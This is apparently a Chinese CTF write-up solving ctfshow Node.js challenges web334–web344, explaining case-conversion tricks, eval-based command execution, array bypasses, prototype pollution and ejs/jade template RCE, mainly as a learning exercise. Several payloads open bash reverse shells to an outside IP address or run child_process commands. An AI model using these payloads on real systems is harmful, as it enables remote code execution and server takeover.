ctfshow-nodejs
对于javascript和node.js都实在不太懂,因此打算通过看大佬的博客学习相关知识,顺便刷刷这几道题
再看看nodejs官方文档
web334
JS 大小写特性
题目描述处有源码可以直接下载
user.js1
2
3
4
5module.exports = {
items: [
{username: 'CTFSHOW', password: '123456'}
]
};
login.js1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33var express = require('express');
var router = express.Router();
var users = require('../modules/user').items;
var findUser = function(name, password){
return users.find(function(item){
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
});
};
/* GET home page. */
router.post('/', function(req, res, next) {
res.type('html');
var flag='flag_here';
var sess = req.session;
var user = findUser(req.body.username, req.body.password);
if(user){
req.session.regenerate(function(err) {
if(err){
return res.json({ret_code: 2, ret_msg: '登录失败'});
}
req.session.loginUser = user.username;
res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});
});
}else{
res.json({ret_code: 1, ret_msg: '账号或密码错误'});
}
});
module.exports = router;
重点是1
name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
我们输入的 name 不为 CTFSHOW 然后 name 转换后的大写为 CTFSHOW ,密码为 123456 即可
其实账号直接ctfshow也可以拿flag
但是本题应该是想考两个函数的大小写转换特性
toUpperCase()
函数,字符 ı
会转变为 I
,字符 ſ
会变为 S
。
toLowerCase()
函数中,字符 İ
会转变为 i
,字符 K
会转变为 k
web335
无过滤RCE
源码有提示
1 | <!-- /?eval= --> |
输入?eval=1
回显1,猜测执行语句为:console.log(eval(req))
而child_process
核心库是直接调用我们的/bin/bash
,因此可以进行远程RCE
1 | child_process.exec(command[, options][, callback]) |
exec的同步和异步区别就是在于回显值,所谓异步就是不阻碍程序运行,所以自然不可能产生回显。具体可参考这篇文章Node.js 执行系统命令
这一题我们要使用的是execSync
法一
1 | ?eval=require('child_process').execSync('ls') |
法二
1 | ?eval=require('child_process').spawnSync('ls').stdout.toString() |
收集几个命令执行
1 | require('child_process').spawnSync('ls',['.']).stdout.toString() |
web336
过滤exec
法一
过滤了exec,用上一题的法二1
2?eval=require('child_process').spawnSync('ls', ['-l', '.']).stdout
?eval=require('child_process').spawnSync('cat', ['fl001g.txt']).stdout
速通,注意,flag文件换了名字
其中的stdout表示缓冲区中的内容,也就是输出结果,也可以在结尾继续追加一个toString()
方法,但由于console.log
把我们的数据自动解码了一下,所以可以不加
法二
试一下读取下文件,看看过滤了啥,通过全局变量读取当前目录位置
?eval=__filename
读取文件?eval=require('fs').readFileSync('/app/routes/index.js','utf-8')
结果大概格式化一下1
2
3
4
5
6
7
8
9
10
11
12where is flag?
var express = require('express');
var router = express.Router();
/* GET home page. */
router.get('/', function(req, res, next)
{ res.type('html');
var evalstring = req.query.eval;
if(typeof(evalstring)=='string' && evalstring.search(/exec|load/i)>0)
{ res.render('index',{ title: 'tql'}); }
else
{ res.render('index', { title: eval(evalstring) }); } });
module.exports = router;evalstring.search(/exec|load/i)>0
看出明显过滤了exec|load
1 | //%2B就是+,这里一定进行url编码,不然会404(浏览器解析特性+会成为空格好像) |
法三
利用fs模块读取当前目录的文件名,然后再利用fs模块读取这个文件
1 | ?eval=require('fs').readdirSync('.') |
法四
变量拼接再执行(没懂)
1 | var%20s=%27global.process.mainModule.constructor._lo%27;var%20b="ad(%27child_process%27).ex";var%20c="ec(%27cat+fl001g.txt>public/1.txt%27);";eval(s%2Bb%2Bc); |
法五
本题不能用,但是这个姿势不错,收集一下
1 | process.mainModule.global.process.mainModule.constructor._load("child_process")["\u0065\u0078\u0065\u0063\u0053\x79\x6e\x63"]("bash -i >& /dev/tcp/127.0.0.1/8080 0>&1").toString() |
web337
Node.js数组绕过
题目描述给了源码
1 | var express = require('express'); |
看到md5就下意识的联想到了PHP的数组绕过,由于php和js都是弱语言,所以这方面不严格
尝试了一下payloada[]=1&b[]=2
发现无果,而输入a[]=1&b[]=1
返回了flag
前者不行是因为当我们这样传的时候相当于创了个变量a=[1] b=[2]
可以看看下面的代码
1 | a=[1] |
后者为什么可以我也大致实验了下
1 | a=[1]; |
运行可以看出最后一行输出false
我们传参a[]=1&b[]=1
在nodejs里实际上就是a=[1];b=[1]
,输出结果刚好符合条件所以输出了flag,为什么a===b返回false呢?原因是开辟的地址空间是不一样的,虽然内容一样
除了这种方法还可以输入a['x']=1&b['x']=1
,这和之前的就不太一样了,前者是创建了一个数组,这个是创建了一个对象:
1 | //可以自行运行看下结果 |
这部分就和java有点像了,两个对象直接比较并不是说比较属性啥的,而是通过引用(内存里的位置)比较的,因此自然a!==b
web338
原型链污染1
给源码了,下面列出关键代码
utils/common.js1
2
3
4
5
6
7
8
9function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}
routes/login.js1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow==='36dboy'){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}
});
module.exports = router;
我们不用关心 secert 是否有 ctfshow 这个属性,因为当它找不到这个属性时,它会从它自己的原型里找。
注意到copy方法utils.copy(user,req.body);
,他会复制2个对象之间的键值对,其中有一个对象是我们所传入的参数,另一个就是user对象,任何一个对象都有一个键叫做__proto__
,他是对象的原型,可以理解为父类所以在这里我们可以通过污染原型的值,给secret对象添加ctfshow属性
这里的secert
是一个数组,然后utils.copy(user,req.body);
操作是user
也是数组也就是我们通过req.body
即POST
请求体传入参数,通过user
污染数组的原型,那么secert
数组找不到ctfshow
属性时,会一直往原型找,直到在数组原型中发现ctfshow
属性值为36dboy
。那么if
语句即判断成功,就会输出flag
了
payload:{"__proto__":{"ctfshow":"36dboy"}}
web339
预期解
覆盖变量进行RCE
1 | {"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/120.46.199.181/798 0>&1\"')"}} |
非预期解
ejs模板渲染的漏洞进行RCE
1 | {"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('calc');var __tmp2"}} |
outputFunctionName是ejs模块里opt对象的一个成员属性,由于他一开始未定义,所以我们可以污染原型从而污染outputFunctionName
web340
双层污染
看源码
1 | var express = require('express'); |
1 | function copy(object1, object2){ |
有些许不同,因为copy里面的user对象后面套了一个userinfo
,我们再本地测试一下到底是哪样:
1 | console.log(user.userinfo.__proto__) |
可以发现第一层外面是一个对象,也就是构造函数,并不是什么object,第二层才是,这也就是所谓的二层污染
我们只需要payload{"__proto__":{"__proto__":{"isAdmin":{"isAdmin":true}}}}
:
user.__proto__
并不是Object.prototype
,user.__proto.__proto__
才是
1 | function copy(object1, object2){ |
可以看到已经污染到了object了,之后也是利用反弹shell去获取flag
1 | {"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/120.46.199.181/798 0>&1\"')"}}} |
POST提交后,POST方法访问api页面,vps就有反应,执行以下命令
env | grep ctfshow
web341
ejs rce污染
来自于ejs模板opts.OutPutFuntcion属性的污染
1 | var express = require('express'); |
这题和其他不同的是没有/api
接口触发污染点了,所以我们无法使用变量覆盖,这里就得用ejs污染了,同时这里也是需要运用双层污染的知识的
1 | {"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/120.46.199.181/798 0>&1\"');var __tmp2"}}} |
注意这里的前面的_tmp1
; 和后面的var __tmp2
不能删,具体可以看Express+lodash+ejs: 从原型链污染到RCE,是为了闭合代码。
同样POST一下/login
接口污染数据,然后请求一个会调用render
方法的接口
为什么用bash -c
去调用反弹shell,由于我们是在外部运行shell指令,所以他默认是不会识别我们的bash -i
反弹shell的,bash -c
保证了命令使用bash shell去执行
web342
jade rce
app.js1
2
3
4
5
6
7
8
9
10
11
12app.set('views', path.join(__dirname, 'views'));
app.engine('jade', require('jade').__express);
app.set('view engine', 'jade');
app.use(logger('dev'));
app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(cookieParser());
app.use(express.static(path.join(__dirname, 'public')));
app.use('/', indexRouter);
app.use('/login', loginRouter);
改动点在此处,可以发现使用的渲染引擎不再是ejs
而是jade
,jade
的污染链也是存在的,参考:
1 | {"__proto__":{"__proto__":{"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \" bash -i >&/dev/tcp/120.46.199.181/798 0>&1\"')"}}} |
payload与上述文章有所不同,假如按照上述文章的payload(里面没有type),会出现报错
看boogipop的博客说是node.type
属性为undefine
,所以导致报错,详情请在参考部分点击他的博客
这里注意,不能直接在首页刷新抓包改POST方法到/login,这样子没反应,我一开始一直这样发,浪费很多时间,这应该是格式问题,我是复制web341题的发包格式,然后改下面几个地方,就成功了
web343
jade rce(过滤了,又没有过滤,这叫如过)
payload同上都能打,好奇看了一下login.js
1 | cat login.js |
这个if(JSON.stringify(req.body).match(/Text/ig))
没卵用
web344
node解析重名req
1 | router.get('/', function(req, res, next) { |
源码逻辑已经给了,相对人性化了太多,来看看逻辑,检查了我们的url参数(编码后)不可以有8c|2c|\,
,第一个是一个不可见字符,2,3表示的都是逗号,由于是get方式传参,先编码
逗号给识别出来了,既然逗号被ban了,那该怎么传递多个json参数呢
?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}
可以通过下面的代码看出后端如何处理
1 | router.get('/', function(req, res, next) { |
req.query
被解析成了一个数组,之后在JSON.parse
的解析下变成了对象,内容就是目标的内容,很妙!
首先就是node.js
处理req.query.query
的时候,它不像php那样,后面get传的query值会覆盖前面的,而是会把这些值都放进一个数组中。而JSON.parse
居然会把数组中的字符串都拼接到一起,再看满不满足格式,满足就进行解析,因此这样分开来传就可以绕过逗号了
那么为什么c要编码为%63
呢?c前面有双引号为%22
假如不编码就是%22c
可是2c
被ban了,因此得编码一下
参考
ctfshow nodejs篇 | tari Blog这篇有很详细的思考过程,强推
CTFshow-WEB入门-node.js
[CTFSHOW][WEB入门]nodejs部分WP
CTFSHOW nodejs篇
CTFSHOW-NodeJS - Boogiepop Doesn’t Laugh